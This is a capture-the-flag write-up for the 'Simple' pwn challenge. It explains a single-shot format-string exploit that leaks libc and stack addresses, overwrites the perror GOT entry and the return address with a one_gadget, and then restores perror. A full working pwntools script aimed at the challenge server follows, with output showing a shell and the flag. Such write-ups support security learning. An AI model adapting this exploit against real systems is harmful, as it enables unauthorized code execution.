Rating: 5.0

### === Simple (Pwn: 12 solves, 998 pts) ===
by mito

1. This binary has format string bug(FSB) vulnerability.
2. I can use FSB only once.
3. First, I leak the libc address and stack address, and overwrite GOT address of perror function to addres of main function using FSB at once.
4. Second, I overwrite the return address of the main function to the address of one-gadgets using FSB.
5. Third, I restored the perror() address using FSB.
6. The OS version of the server is the same ubuntu16.04 as local.

```
from pwn import *

#context(os='linux', arch='amd64')
context.log_level = 'debug'

BINARY = './simple'
elf = ELF(BINARY)

perror_got = elf.got['perror']
read_got = elf.got['read']
main_addr = 0x4006a6 # objdump -d simple

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "51.254.114.246"
PORT = 4444
s = remote(HOST, PORT)
libc = elf.libc
#libc = ELF("./libc-2.23.so")
else:
s = process(BINARY)
libc = elf.libc

buf = "%14$p%10$s%1682c%9$hn"
buf += "_" * (24-len(buf))
buf += p64(perror_got)
buf += p64(read_got)
#pause()
s.send(buf)

r = s.recv(20)

frame_addr = int(r[0:14], 16)
return_addr = frame_addr - 0xd8

read_addr = u64(r[14:20]+'\x00\x00')
libc_base = read_addr - libc.symbols['read']
one_gadget = libc_base + 0x45216

print "frame_addr =", hex(frame_addr)
print "return_addr =", hex(return_addr)
print "read_addr =", hex(read_addr)
print "libc_base =", hex(libc_base)
print "one_gadget =", hex(one_gadget)

a0 = one_gadget & 0xffff
a1 = ((one_gadget & 0xffff0000) >> 16)
a1 = (a1 - a0 - 1) % 0x10000 + 1

buf = "%%%dc%%%d$hn" % (a0, 10)
buf += "%%%dc%%%d$hn" % (a1, 11)
buf += "_" * (32-len(buf))
buf += p64(return_addr)
buf += p64(return_addr+2)
s.sendline(buf)

buf = "%1430c%8$hn"
buf += "_" * (16-len(buf))
buf += p64(perror_got)
#pause()
s.sendline(buf)

s.interactive()
```

```
$ python solve.py r

[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x36 bytes:
'uid=1021(simple) gid=1021(simple) groups=1021(simple)\n'
uid=1021(simple) gid=1021(simple) groups=1021(simple)
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x2a bytes:
'securinets{format_string_rule_the_world!}\n'
securinets{format_string_rule_the_world!}
```